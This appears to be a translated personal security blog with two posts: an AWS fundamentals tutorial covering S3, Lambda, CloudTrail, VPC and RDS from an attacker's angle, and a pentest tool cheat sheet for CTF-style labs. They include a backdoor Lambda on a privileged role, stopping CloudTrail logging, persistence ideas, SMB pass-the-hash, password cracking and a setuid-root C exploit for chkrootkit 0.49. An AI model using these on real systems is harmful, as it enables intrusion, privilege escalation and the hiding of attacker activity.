plenty of familiar real-world examples. When you upload a file, for instance, it is often uploaded to an OSS service and read back from there. No matter how you upload it, the file never reaches the local server; it goes to another cloud service instead. To me, S3 does not seem very different from OSS.\nDifferences Between S3 and OSS Feature AWS S3 Alibaba Cloud OSS Bucket name Globally unique Unique within a region Region restrictions You must choose an AWS region, such as us-east-1 You must choose an Alibaba Cloud region, such as cn-hangzhou Storage classes Standard, Infrequent Access (IA), Glacier Standard, Infrequent Access, Archive, Cold Archive API compatibility S3 API Partially compatible with the S3 API, with additional proprietary Alibaba Cloud APIs Default access Private by default; must be changed manually Private by default; must be changed manually Cross-region replication Supports replication across AWS regions Supports replication across Alibaba Cloud regions Buckets are private by default, so you can store backups and other material without other people seeing it. To start working with S3, we need to learn how to create a bucket and try operating it through a URL and AWSCLI.\nCreating an S3 Bucket Use the following configuration.\nAfter creating the bucket, find it and upload any file.\nThen enter the following policy under Bucket policy:\n1 2 3 4 5 6 7 8 9 10 11 { \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34;, \u0026#34;Statement\u0026#34;: [ { \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Principal\u0026#34;: \u0026#34;*\u0026#34;, \u0026#34;Action\u0026#34;: \u0026#34;s3:GetObject\u0026#34;, \u0026#34;Resource\u0026#34;: \u0026#34;arn:aws:s3:::mentalityxttest/*\u0026#34; } ] } By default, only the current user can access uploaded resources. For learning purposes, however, it is easier to make everything public. After allowing the bucket policy to control access, we still need to add a rule permitting external access to the bucket. At that point, the image becomes accessible.\nAWS CLI First, Check Whether AWS CLI Is Installed Run:\n1 aws --version If it is not installed, see the official documentation:\nLinux/macOS: 1 2 curl \u0026#34;https://awscli.amazonaws.com/AWSCLIV2.pkg\u0026#34; -o \u0026#34;AWSCLIV2.pkg\u0026#34; sudo installer -pkg AWSCLIV2.pkg -target / Windows: Download AWS CLI Configuring AWS CLI (Linking Your AWS Account) You need to configure an Access Key and Secret Key, which can be created in IAM, and then run:\n1 aws configure Enter the following when prompted:\nAWS Access Key ID: Your AWS access key AWS Secret Access Key: Your AWS secret key Default region name: ap-southeast-1 (the region you selected) Default output format: json (JSON is the default and recommended format) The region is shown on the home page. Both keys are under the user\u0026rsquo;s access keys.\nCommon S3 CLI Operations These are common S3 commands. Together with the bucket permissions above, you can test them directly in a terminal.\nCreate an S3 bucket:\n1 aws s3 mb s3://your-bucket-name mb = make bucket\nList buckets:\n1 aws s3 ls Upload a file to S3:\n1 aws s3 cp localfile.jpg s3://your-bucket-name/ cp = copy\nTo upload an entire folder recursively:\n1 aws s3 cp ./my-folder s3://your-bucket-name/ --recursive Download a file from S3:\n1 aws s3 cp s3://your-bucket-name/3.jpg ./localfile.jpg List files in a bucket:\n1 aws s3 ls s3://your-bucket-name/ Delete a file from an S3 bucket:\n1 aws s3 rm s3://your-bucket-name/3.jpg Delete an entire bucket:\n1 aws s3 rb s3://your-bucket-name --force rb = remove bucket, and --force deletes all contents before deleting the bucket.\nLambda Lambda is a managed environment that can run code automatically. Think of it like this: you write some Python code → but do not need to run a server for it.\nEvent Source: When does the Lambda code run? S3 event: Run Lambda automatically after a file is uploaded API Gateway: Triggered when a user accesses an API CloudWatch event: Triggered on a schedule SNS / SQS message: A message triggers Lambda Runtime:\nLambda supports several languages, including Python, Node.js, Go, Java, C#, and Ruby. You need to choose a runtime, such as Python 3.9. Execution time limit:\nLambda has a maximum execution time of 15 minutes. The longer the code runs, the more it costs. Search for Lambda to find it. When you first open it, there is a tutorial you can follow step by step, so take your time. One particularly interesting part is how it responds to events. As listed above, both S3 events and API events can trigger Lambda functions, which is pretty neat.\nThe defaults are fine. Add a trigger first, mainly to get familiar with the process.\nStart testing by uploading a file to S3.\n1 aws s3 cp .\\3.jpg s3://*********/3.jpg You can see that it was triggered.\nOf course, you can view the details in CloudWatch.\nAs for the exact event, all we can see at this point is that Lambda was triggered. We cannot tell which event triggered it or what the result was.\nGo back to Lambda, enter the following code, and click Deploy to save it.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import json def lambda_handler(event, context): print(\u0026#34;=== Lambda Triggered ===\u0026#34;) print(json.dumps(event, indent=4)) # Print the event that triggered Lambda response = { \u0026#39;statusCode\u0026#39;: 200, \u0026#39;body\u0026#39;: json.dumps(\u0026#39;Lambda ran successfully\u0026#39;) } print(\u0026#34;=== Lambda Return Value ===\u0026#34;) print(json.dumps(response, indent=4)) # Print the result returned by Lambda return response Trigger it again. Uploading a file or clicking the code test button will both work.\nThis is the log from testing the code directly. You can see that the returned JSON is identical to the JSON in the test and was recorded in the log.\nThis is the log triggered by uploading a file to the S3 bucket. It includes detailed AWSCLI fields, the uploaded filename, the bucket name, the file size, and more.\nevent (event data)\nevent is the data AWS passes in automatically when it triggers Lambda. For example: When S3 triggers Lambda, event contains the uploaded filename and bucket name. When API Gateway triggers Lambda, event contains HTTP request information. When CloudWatch triggers Lambda, event contains scheduled-task information. That is why printing event gave us so much information about the S3 bucket, including the uploader\u0026rsquo;s IP.\ncontext (execution environment)\ncontext is not event data. It contains environment information from AWS while Lambda is running, such as:\ncontext.function_name → Lambda function name context.memory_limit_in_mb → Allocated memory context.aws_request_id → ID of the current request context.get_remaining_time_in_millis() → Remaining Lambda execution time context contains the information above. If you want to inspect it, you can also reference it in the function.\nAWS CLI First, make sure you have configured AWS CLI correctly with aws configure and have sufficient permissions.\nListing All Lambda Functions 1 aws lambda list-functions This command returns a list of your Lambda functions. You should see MyFirstFunction.\nGetting Lambda Details 1 aws lambda get-function --function-name MyFirstFunction This displays the Lambda code storage location, runtime (Python 3.9), execution role, and other information. It also returns a link to the ZIP archive containing the code, which you can download.\nInvoking Lambda Manually You can trigger Lambda directly from the CLI, which is equivalent to the console\u0026rsquo;s “Test” feature.\n1 2 3 4 5 6 7 aws lambda invoke \\ --function-name MyFirstFunction \\ --payload \u0026#39;{\u0026#34;key1\u0026#34;: \u0026#34;value1\u0026#34;, \u0026#34;key2\u0026#34;: \u0026#34;value2\u0026#34;}\u0026#39; \\ --cli-binary-format raw-in-base64-out \\ response.json aws lambda invoke --function-name MyFirstFunction --payload \u0026#34;{\\\u0026#34;key1\\\u0026#34;: \\\u0026#34;value1\\\u0026#34;, \\\u0026#34;key2\\\u0026#34;: \\\u0026#34;value2\\\u0026#34;}\u0026#34; response.json --cli-binary-format raw-in-base64-out After Lambda finishes, the result is saved to response.json.\nIf you use a newer version of AWS CLI v2, add \u0026ndash;cli-binary-format raw-in-base64-out so AWS CLI sends the JSON request body directly without base64 encoding, allowing Lambda to parse it correctly.\nView the result:\n1 cat response.json You should see:\n1 2 3 4 { \u0026#34;statusCode\u0026#34;: 200, \u0026#34;body\u0026#34;: \u0026#34;\\\u0026#34;Lambda ran successfully\\\u0026#34;\u0026#34; } If your Lambda code prints event, you will also see logs showing how it parsed the input data.\nUpdating Lambda Code Suppose you have a new lambda_function.py. You can upload it like this:\n1 2 3 4 5 zip function.zip lambda_function.py aws lambda update-function-code \\ --function-name MyFirstFunction \\ --zip-file fileb://function.zip This command updates the Lambda code directly, so you do not need to upload it manually through the AWS console.\nUpdating Lambda Configuration To change the Lambda runtime, memory, or timeout, use:\n1 2 3 4 aws lambda update-function-configuration \\ --function-name MyFirstFunction \\ --memory-size 256 \\ --timeout 30 This changes the Lambda memory to 256MB and the timeout to 30 seconds.\nDeleting a Lambda Function If you no longer need this Lambda function, delete it with:\n1 aws lambda delete-function --function-name MyFirstFunction Warning: This operation is irreversible!\nWriting and Uploading Lambda Code I will skip the basics here. More advanced work involves boto3, which I still need to learn.\n1 2 3 4 5 6 7 8 import json def lambda_handler(event, context): # TODO implement return { \u0026#39;statusCode\u0026#39;: 200, \u0026#39;body\u0026#39;: json.dumps(\u0026#39;Hello from Lambda!\u0026#39;) } 1 zip function.zip lambda_function.py 1 2 3 4 5 6 aws lambda create-function \\ --function-name BackdoorLambda \\ --runtime python3.8 \\ --role arn:aws:iam::\u0026lt;ACCOUNT_ID\u0026gt;:role/\u0026lt;HIGH_PRIV_ROLE\u0026gt; \\ --handler lambda_function.lambda_handler \\ --zip-file fileb://function.zip CloudTrail CloudTrail is the audit log for an AWS account.\nRecords who (users, roles, or services) did what in AWS, such as creating, modifying, or deleting resources. Records when and from where, including the IP address and geographic location, someone accessed AWS. Records API calls made through the AWS console, CLI, or SDK. Put simply, CloudTrail is like the “black box” of an AWS account. It records AWS activity to help troubleshoot problems and spot anomalies.\nIt is mainly used for activity auditing, much like a bastion host recording every action performed by operations staff.\nCreate one and you will be able to see events here. Calls to S3 interfaces, such as running ls or downloading a file, are not recorded unless data events are enabled. As shown below, data events can be enabled, but they cost money, so I am leaving them alone. It is enough for now to understand how to call these APIs. Next, let us look at AWSCLI.\nAWS CLI Querying Recent CloudTrail Events 1 aws cloudtrail lookup-events --max-results 10 This queries the 10 most recent events. By default, it returns all management events, excluding S3 data events.\nQuerying by Event Name 1 aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=CreateBucket This filters for all CreateBucket events, meaning S3 bucket creation operations.\n1 aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=GetObject This attempts to find S3 file download (GetObject) events, provided you have already enabled S3 data events.\nQuerying by IAM User 1 aws cloudtrail lookup-events --lookup-attributes AttributeKey=Username,AttributeValue=MentalityXt --max-results 10 This finds the 10 most recent operations by the MentalityXt user.\nQuerying by Resource Name 1 aws cloudtrail lookup-events --lookup-attributes AttributeKey=ResourceName,AttributeValue=mentalityxttest This filters for all events involving the mentalityxttest S3 bucket.\nQuerying by Time Range 1 aws cloudtrail lookup-events --start-time \u0026#34;2025-03-03T00:00:00Z\u0026#34; --end-time \u0026#34;2025-03-03T23:59:59Z\u0026#34; This queries all CloudTrail events from March 3, 2025.\nListing All CloudTrail Trails 1 aws cloudtrail list-trails This lists every CloudTrail trail in the AWS account.\nGetting Details About a Trail 1 aws cloudtrail describe-trails This queries detailed information about CloudTrail trails, including their S3 log storage locations.\nStopping CloudTrail Logging 1 aws cloudtrail stop-logging --name management-events This stops logging for the management-events trail. It does not delete logs that have already been stored.\nRestarting CloudTrail Logging 1 aws cloudtrail start-logging --name management-events This restarts logging for the management-events trail.\nDownloading CloudTrail Event Logs 1 aws s3 ls s3://aws-cloudtrail-logs-6502********-63db363a/AWSLogs/6502********/CloudTrail/ This lists CloudTrail logs stored in S3, if you enabled S3 storage.\n1 2 aws s3 cp s3://aws-cloudtrail-logs-6502********-63db363a/AWSLogs/6502********/CloudTrail/2025/03/03/LOG_FILE.json.gz . gunzip LOG_FILE.json.gz This downloads and extracts a CloudTrail log file so it can be analyzed locally.\nI listed a whole pile of commands above, but I think the log-download command is the most useful because it lets you download all the logs and analyze them at your own pace. The individual queries are more useful when the data volume is particularly large. If there is not much data, downloading everything for analysis is probably better. So far, I have noted only a handful of AWS CLI commands. They are really meant for a scenario where a leaked Access Key and Secret Key can be used to retrieve information through the API. There is no need to memorize all of this, but you should know that these API request methods exist.\nCloudWatch CloudWatch is AWS\u0026rsquo;s monitoring and log management service. It can:\nMonitor AWS resources, including EC2, S3, Lambda, and RDS Collect and store logs from Lambda, EC2, CloudTrail, and more Configure alarms, such as an alarm triggered when CPU usage exceeds 80% Visualize data by creating Dashboards It is similar to the previous service, but CloudTrail primarily audits user actions, while CloudWatch monitors resources. If you have used almost any security appliance, you have probably seen something like this in a WAF, IPS/IDS, situational-awareness platform, and so on.\nJust search for it, open it, and have a look. API auditing can sometimes be broken down in more detail. We actually created something in the Lambda section and opened it once, so I will drop in a screenshot here.\nYou can click through the other items one by one to get a general feel for them. Also:\nCloudWatch itself does not record API requests, but CloudTrail records API calls To see API logs in CloudWatch, you need to send CloudTrail events to CloudWatch Logs Then you can use AWS CLI to query API call logs! I will not go into more detail here. If I need to deploy services on AWS later, I can learn more then. It is not necessary right now.\nWhile looking around, I found an interesting feature: the traffic monitor. It requires an EC2 instance, though, and I had already shut mine down because I barely use it after finishing the lesson and it might cost money. That is why there is no traffic data below.\nWith the default setup, it records rejected traffic but not successful flows. The method below can forward those logs.\nPay attention to the location in the upper-left corner. It is a bit of a hassle, so I will not set it up here. It is worth mentioning that this can also be configured and queried through AWSCLI. I thought of a scenario: suppose a target\u0026rsquo;s KEY is exposed, and the target also runs a popular site. Its traffic may be unencrypted, or it might use JS encryption that can be reversed. Capturing other users\u0026rsquo; traffic could easily reveal their passwords or COOKIEs, which would be pretty serious. (That actually does not work. It can only record the source IP/target IP, source port/target port, transport protocol (TCP/UDP/ICMP), and packet/byte counts.) That makes it feel useful mostly for development, apart from cloud security cases where you also need to enable it. I have realized that everything I am studying covers both attack and defense: logging systems can support tracing, incident response, and reconstruction of an attack chain.\nThe crossed-out idea above can be handled another way. AWS also has a WAF where you can write custom rules. When a login request contains sensitive terms such as username/passwd, you can add a rule and capture it, but that costs money.\nNever mind. It is enough to know that the feature exists.\nVPC A VPC is a Virtual Private Cloud on AWS You can create resources such as EC2 instances, databases (RDS), and load balancers (ELB) inside a VPC A VPC lets you control the network topology, including subnets, route tables, security groups, and NACLs All AWS resources run inside some VPC I first learned this concept during an internship in 2022. At the time, I wanted to buy a VPS to run some services, but I found that a VPC seemed cheaper than a VPS and felt roughly the same. What I really wanted was the public IP.\nA VPC is mainly a network environment. Everything below relates to network configuration. With the right setup, you could actually build an internal AWS lateral-movement lab with dual-NIC machines, which sounds pretty interesting.\nIn the EC2 section, I mentioned that this seemed different from aliyun. Over there, the firewall is built in, while I could not find it here. It turns out it is here.\nMy understanding is still pretty basic, so it is worth looking through everything. VPC handles network traffic, while EC2 is mainly for compute, such as assigning CPU and memory to an operating system.\nOn the defensive side, VPC is mainly about access control and traffic management. On the offensive side, the goal is to obtain configuration information or bypass those defenses.\nThat is roughly how I understand it. The defensive VPC features are listed on the left in the screenshot above, while our focus is mainly offensive. Here are some important APIs for querying this configuration information, assuming you have obtained a KEY.\nService What the API does Potential offensive use VPC DescribeVpcs Retrieve the CIDR, status, default VPC, and other details for all VPCs Subnet DescribeSubnets View the IP ranges, availability zones, and other details for all subnets Route Table DescribeRouteTables Retrieve routing configuration for the current VPC and inspect public-access policies NACL (Network ACL) DescribeNetworkAcls View ACL rules for the current VPC, including inbound and outbound restrictions Security Groups DescribeSecurityGroups Retrieve EC2 security-group rules and look for open ports Internet Gateway (IGW) DescribeInternetGateways Determine how the VPC connects to external networks and whether it is exposed publicly NAT Gateway DescribeNatGateways Retrieve NAT proxy information that might allow public-network restrictions to be bypassed VPN Connection DescribeVpnConnections Retrieve VPN connection information and potentially attempt to hijack the VPN DNS Firewall ListFirewallRules Retrieve DNS firewall rules and potentially attempt to bypass filtering Elastic IP DescribeAddresses Retrieve public IPs attached to the current account and look for targets These APIs can all be queried through AWS CLI or an SDK, for example:\n1 2 3 aws ec2 describe-security-groups --region us-east-1 aws ec2 describe-route-tables --region us-east-1 aws ec2 describe-network-acls --region us-east-1 Use the results from these APIs to find vulnerabilities and work out how to bypass them.\nCreate new security-group rules to loosen access restrictions Create a hidden IAM account to maintain a backdoor Modify VPC flow logs to hide access records Create an Elastic IP and attach it to an instance you control RDS RDS is mainly used to manage relational databases. Compared with deploying MySQL yourself:\nLess manual administration: AWS automatically manages backups, patches, monitoring, and scaling. High availability: You can deploy across multiple Availability Zones (AZs) so the database stays available during failures. Security: You can use private VPC deployment, encrypted storage, and automatic backups. Performance optimization: It supports automatic scaling, Read Replicas, and Aurora for high-performance reads and writes. This is where things start to become a little more important. Developers often use cloud database services because they are more convenient, more secure, and cheaper.\nKey RDS Concepts Concept Purpose RDS instance The host running the database, equivalent to a database server Database engine Supports MySQL, PostgreSQL, MariaDB, Oracle, SQL Server, and Aurora Subnet Group Runs the database in specific VPC subnets Security Group Controls access to RDS, including whether external connections are permitted Parameter Group Controls database configuration parameters, such as MySQL\u0026rsquo;s max_connections Snapshot Backs up the database so it can be restored at any time Read Replica Optimizes read operations and reduces load on the primary instance Multi-AZ deployment Runs the primary database across multiple Availability Zones (AZs) so primary/standby failover does not interrupt service Setting Up MYSQL As before, find the corresponding console. This time, we are looking for RDS.\nFollow my configuration below, or you may be charged.\nFor everything else, clicking through with the defaults is fine.\nConnecting to MYSQL (AWSCLI) I will skip the first method, which is connecting from EC2. It is just a normal database connection.\n1 mysql -h your-rds-endpoint -u admin -p The second method, through AWSCLI, is the main one here.\nQuerying RDS Instances 1 aws rds describe-db-instances Example response:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 { \u0026#34;DBInstances\u0026#34;: [ { \u0026#34;DBInstanceIdentifier\u0026#34;: \u0026#34;mydatabase\u0026#34;, \u0026#34;DBInstanceClass\u0026#34;: \u0026#34;db.t3.micro\u0026#34;, \u0026#34;Engine\u0026#34;: \u0026#34;mysql\u0026#34;, \u0026#34;DBInstanceStatus\u0026#34;: \u0026#34;available\u0026#34;, \u0026#34;Endpoint\u0026#34;: { \u0026#34;Address\u0026#34;: \u0026#34;mydatabase.xxxxxxxx.us-east-1.rds.amazonaws.com\u0026#34;, \u0026#34;Port\u0026#34;: 3306 }, \u0026#34;VpcSecurityGroups\u0026#34;: [ { \u0026#34;VpcSecurityGroupId\u0026#34;: \u0026#34;sg-0abcd1234\u0026#34;, \u0026#34;Status\u0026#34;: \u0026#34;active\u0026#34; } ] } ] } You can get the RDS connection address from \u0026ldquo;Endpoint\u0026rdquo; \u0026ldquo;DBInstanceStatus\u0026rdquo; shows the database status Backing Up RDS 1 aws rds create-db-snapshot --db-instance-identifier mydatabase --db-snapshot-identifier mybackup Create a snapshot (backup) Deleting RDS 1 aws rds delete-db-instance --db-instance-identifier mydatabase --skip-final-snapshot Delete the database immediately, skipping the final snapshot Checking Whether RDS Allows Public Access 1 aws rds describe-db-instances --query \u0026#34;DBInstances[*].[DBInstanceIdentifier, PubliclyAccessible]\u0026#34; Example response (access was denied):\n1 2 3 4 5 6 [ [ \u0026#34;database-1\u0026#34;, false ] ] Enabling Public Access to RDS 1 2 3 4 5 6 aws rds modify-db-instance \\ --db-instance-identifier mydatabase \\ --publicly-accessible \\ --apply-immediately aws rds modify-db-instance --db-instance-identifier mydatabase --publicly-accessible --apply-immediately Once the command completes, it returns the MySQL address and enables public access.\nEnabling the RDS Security-Group Policy The step above successfully enabled external access to MySQL in RDS, but the security group still blocks it. Even though public access is enabled, the security group is a firewall, and the database remains unreachable until the traffic is allowed. Here, we add an inbound rule to the security group.\n1 aws rds describe-db-instances --query \u0026#34;DBInstances[*].[DBInstanceIdentifier,VpcSecurityGroups]\u0026#34; result:\n1 2 3 4 5 6 7 8 9 10 11 [ [ \u0026#34;database-1\u0026#34;, [ { \u0026#34;VpcSecurityGroupId\u0026#34;: \u0026#34;sg-0e8c9518e********\u0026#34;, \u0026#34;Status\u0026#34;: \u0026#34;active\u0026#34; } ] ] ] Remember the VpcSecurityGroupId.\nGrant access:\n1 2 3 4 5 6 7 8 9 aws ec2 authorize-security-group-ingress \\ --group-id sg-0123456789abcdef \\ --protocol tcp \\ --port 3306 \\ --cidr YOUR_IP/32 For safety, you can also run curl ifconfig.me After finding the IP, replace YOUR_IP above with the current IP rather than 0.0.0.0 aws ec2 authorize-security-group-ingress --group-id sg-0123456789abcdef --protocol tcp --port 3306 --cidr 0.0.0.0/0 Success.\nChanging the MYSQL Password 1 2 3 aws rds modify-db-instance \\ --db-instance-identifier database-1 \\ --master-user-password \u0026#34;NewPassword123!\u0026#34; The command above can change the password directly, after which you can connect and inspect the data. This is generally not allowed, though. Even during an authorized penetration test, doing this could get you into serious trouble. Just make a note of it.\nThat wraps up RDS. We added an inbound rule with AWSCLI and configured RDS for external access. Now delete everything through the web console.\nThe second step is to disable remote access to RDS.\n1 aws rds modify-db-instance --db-instance-identifier mydatabase --no-publicly-accessible --apply-immediately Steps:\nGo to the AWS console → RDS service. Find your database-1 database in the Database instances list. Click Modify. Find the Connectivity section and clear Publicly accessible. Choose Apply Immediately or Wait for the maintenance window. Save the changes and wait for the RDS instance to restart. I already deleted mine, so I will not include screenshots of these steps.\nFundamentals Complete That completes the fundamentals. If you need to set up a service, define a baseline, configure access control, manage storage, or do anything similar, everything covered above can help you do it. You can even use what you learned to build a free web server with a solid architecture spanning several different services.\nThere are plenty of directions to go next. I could take AWS Certified Security – Specialty first, for example, or choose one of the following:\nFollow the security path: dig deeper into IAM, VPC, attack-and-defense exercises, and penetration testing Follow the DevOps \u0026amp; automation path: Terraform, CI/CD, and Serverless Explore specialized AWS services: AI, IoT, blockchain, and more CI/CD appears quite a lot in Jenkins, Azure DevOps, and similar platforms. I am not sure whether AWS\u0026rsquo;s built-in DevOps tooling can be used to carry out penetration testing. My next step is penetration testing on the security track.\n","date":"2025-03-03T23:26:00+08:00","permalink":"/p/aws-cloud-basics/","title":"AWS Cloud Fundamentals"},{"content":"1.cewl Detailed tutorial: Tool Guide \u0026mdash; cewl_Tongdita\u0026rsquo;s Blog - CSDN\nThis refers to another researcher\u0026rsquo;s blog.\nI\u0026rsquo;m only noting down the two commands I use most often:\ncewl http://192.168.15.146/ -w dict.txt # Crawl the page and generate a dictionary in the current directory\ncewl http://192.168.15.146/ -n -e # Crawl for email addresses\n2.netdiscover A network-scanning tool (Kali routing analysis).\nIt can quickly discover live hosts. Scanning an entire range with only nmap or masscan can be slow; discovering the hosts first makes the detailed scan a little faster.\nnetdiscover -i eth0 -r 192.168.1.0/24\n3.gobuster I find this a little better than dirb and Yujian. dirb is powerful, but it is too slow and can hang when the wordlist is too large.\nThe collector\u0026rsquo;s edition of Yujian I use can only brute-force specified directories. Although I can edit its built-in wordlist, I cannot append extensions such as .php or .html. In other words, it can only brute-force exactly what appears in the wordlist.\ngobuster dir -u http://192.168.1.7:33447 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js\ngobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt -k -t 50 -u http://doctors.htb/\n4.foremost Kali Linux provides a dedicated file-recovery tool called Foremost. It analyzes the headers, footers, and internal data structures of different file types, compares them against the data in an image file, and recovers the files.\nforemost strcpy.exe\n5.sudo sudo -l : For privilege escalation, start with sudo -l to see which commands can be run as which users, then execute the appropriate one.\nsudo -s : Enter a password to try to temporarily obtain a high-privilege root account.\n6.SUID Privilege Escalation Look for commands that can be run with sudo, then find the corresponding command for Linux privilege escalation.\nfind / -perm -u=s -type f 2\u0026gt;/dev/null\nfind / -group pinky 2\u0026gt;/dev/null # Check executable files for a particular group; this can turn up other useful things too\nfind / -user root -writable -type f -not -path \u0026ldquo;/proc/*\u0026rdquo; 2\u0026gt;/dev/null # Find ordinary files owned by root but writable, skip /proc, and suppress errors\nfind / -user root -writable -type d -not -path \u0026ldquo;/proc/*\u0026rdquo; 2\u0026gt;/dev/null\t# Find writable directories\nfind / -type f -perm 777 2\u0026gt;/dev/null\n7.showmount Use showmount to \u0026ldquo;display mount information for an NFS server.\u0026rdquo; See help for details.\nshowmount -e 192.168.1.9\n8.enum4linux A tool for enumerating SMB services on Windows and Linux systems. See help for details.\nenum4linux 192.168.1.9\nenum4linux -a -o 192.168.1.9\n9.mount Use this together with showmount to mount a remote directory from the target locally.\n1 showmount -e 10.10.10.180 mkdir ./nfsshare\nmount -t nfs 192.168.1.9:2049/var/nfsshare ./nfsshare\nIf an NFS share reports insufficient permissions, the usual fix is to access the target host, check the ID of the account with permission on that directory, and then create a user with the same ID locally, as shown below. An existing mounted share may be inaccessible because the root_squash flag is set. We can safely assume that if we have a user named vulnix with the same UID, we will be able to access it.\nCreate the user:\nuseradd -u \u0026ldquo;id\u0026rdquo; \u0026ldquo;username\u0026rdquo;\nuseradd -u 2008 vulnix\nMount it: (use this if the command above has problems) mount -t nfs 192.168.1.7:/home/vulnix ./vulnix -nolock\n10.smbmap A command-line tool for quickly scanning and inspecting SMB (Server Message Block) shares.\nsmbmap -H \u0026lt;target IP/hostname\u0026gt; -u \u0026lt;username\u0026gt; -p \u0026lt;password\u0026gt;\nsmbmap -H 192.168.1.9\nsmbmap -H 192.168.1.9 -r anonymous\n1 smbmap -H 10.10.10.193 -u tlavel -p \u0026#39;TfWScpg3aEEi\u0026#39; -r -q 11.smbclient A client program for accessing shared resources. Use \u0026ndash;help to see the detailed commands.\nsmbclient //192.168.1.9/secured -U divid\nsmbclient -N -L //10.10.10.134/\nsmbclient -N //10.10.10.134/Backups\n1 smbclient -L //10.10.132.140 -U \u0026#34;oscp.exam/celia.almeda%e728ecbadfb02f51ce8eed753f3ff3fd\u0026#34; --pw-nt-hash 1 2 3 recurse\tON\t#Enable recursion; mget and mput will traverse directories recursively prompt OFF\t#Disable prompts so downloads no longer require y/n confirmation mget *\t#Download files in bulk; * is a wildcard that matches all filenames during recursive traversal get xxxxx ; Download a file put xxxxx ; Upload a file mget * ; Download all files in the current directory tar c test.tar notes/ ; Archive all files under the notes directory\n12.steghide A steganography tool. Use \u0026ndash;help to see the detailed commands you need.\nsteghide info plainsight.jpg\nsteghide extract -sf irked.jpg -p UPupDOWNdownLRlrBAbaSSss\n13.ffuf A fuzzing tool. See help or find a blog post for details.\nffuf -u -c http://192.168.1.9/test.php?FUZZ=/etc/passwd -w /usr/share/dirb/wordlists/common.txt\nffuf -u http://10.10.10.84/browse.php?file=FUZZ -w /usr/share/dirb/wordlists/common.txt -c -fs 300-400\nwfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.197 -H \u0026ldquo;Host: FUZZ.sneakycorp.htb\u0026rdquo; \u0026ndash;hh 185\nffuf -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.197 -H \u0026ldquo;HOST: FUZZ.sneakycorp.htb\u0026rdquo; -fs 185\n14.Privilege Escalation by Modifying a File If sudo lets you execute a root-owned file, change it to the format below to escalate privileges directly.\n#!/bin/bash bash -ip\n15.knock I\u0026rsquo;ve collected two port-knocking methods.\nThe image below shows an example port-knocking configuration.\nknock 192.168.1.5 33 44 55\nnmap -Pn \u0026ndash;host-timeout 201 \u0026ndash;max-retries 0 -p 159 192.168.1.5\n16.Brute-forcing an id_rsa Private Key I ran into this situation in a lab today, so I went and learned how to handle it.\ncd /usr/share/john Use the ssh2john.py file in this directory to convert the format. ./ssh2john.py ~/id_rsa \u0026gt; ~/hash converts id_rsa into content that john can recognize. Start brute-forcing: john hash \u0026ndash;wordlist=/usr/share/wordlists/rockyou.txt\njohn \u0026ndash;format=md5crypt \u0026ndash;wordlist=/usr/share/wordlists/rockyou.txt ./temp_passwd # Brute-force the hash as md5crypt, which is type 1\njohn \u0026ndash;format=NT \u0026ndash;wordlist=/usr/share/wordlists/rockyou.txt hashes.txt\n1 2 3 4 5 6 7 hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --force hashcat -m 1000 hashes.txt --show # Identify the corresponding hash format hashcat --help | grep -i \u0026#34;Kerberos\u0026#34; 17.newgrp newgrp is a Linux command for switching user groups. It lets a user temporarily switch to another group so they can run commands or access specific files as that group.\nnewgrp\n18.Building a File-Upload Environment This creates an environment for uploading files, so you do not have to construct the request packet yourself. Just find the endpoint and upload through it.\n1 2 3 4 5 6 7 8 \u0026lt;html\u0026gt; \u0026lt;body\u0026gt; \u0026lt;form method=\u0026#34;post\u0026#34; action=\u0026#34;http://192.168.1.5/themes/dashboard/assets/plugins/jquery-file-upload/server/php/\u0026#34; enctype=\u0026#34;multipart/form-data\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;file\u0026#34; name=\u0026#34;files[]\u0026#34; /\u0026gt; \u0026lt;input type=\u0026#34;submit\u0026#34; value=\u0026#34;send\u0026#34; /\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 1 curl http://192.168.225.249:33414/file-upload -F \u0026#34;file=@/home/kali/hackthebox/ft.txt\u0026#34; -v -X POST -H \u0026#34;Content-Type: multipart/form-data\u0026#34; -F filename=\u0026#34;/tmp/authorized_keys\u0026#34; 19.chkrootkit (Unconventional Privilege Escalation) Details: Research on Exploiting and Preventing the Chkrootkit 0.49 Local Privilege-Escalation Vulnerability - Zhihu\nFind the chkrootkit directory. It usually contains a README where you can check the version.\nIt is usually under /etc/chkrootkit.\nOr, even better, use this command:\n./chkrootkit -V If it is 0.49, you can escalate privileges using the method above.\nThe exact process is as follows.\nSave the file as updata.c and download it to the /tmp directory on the target machine.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include \u0026lt;unistd.h\u0026gt; void main(void) { system(\u0026#34;chown root:root /tmp/update\u0026#34;); system(\u0026#34;chmod 4755 /tmp/update\u0026#34;); setuid(0); setgid(0); execl(\u0026#34;/bin/sh\u0026#34;,\u0026#34;sh\u0026#34;,NULL); } gcc -o update update.c # Compile it\nOnce compilation finishes, enter the chkrootkit directory and run chkrootkit once: ./chkrootkit\nYou will find that /tmp/update now has root permissions.\nReturn to the tmp directory and run ./updata to obtain root privileges.\n20.Checking the System Version and Kernel uname -r\ncat /etc/*-release\nlsb_release -a\n21.Dirty COW Linux Local Privilege-Escalation Vulnerability (CVE-2016-5195) https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679\nAffected versions:\nCentos7 /RHEL7 3.10.0-327.36.3.el7 Cetnos6/RHEL6 2.6.32-642.6.2.el6 Ubuntu 16.10 4.8.0-26.28 Ubuntu 16.04 4.4.0-45.66 Ubuntu 14.04 3.13.0-100.147 Debian 8 3.16.36-1+deb8u2 Debian 7 3.2.82-1\n22.Apport (Ubuntu 14.04/14.10/15.04) - Race-Condition Privilege-Escalation Vulnerability 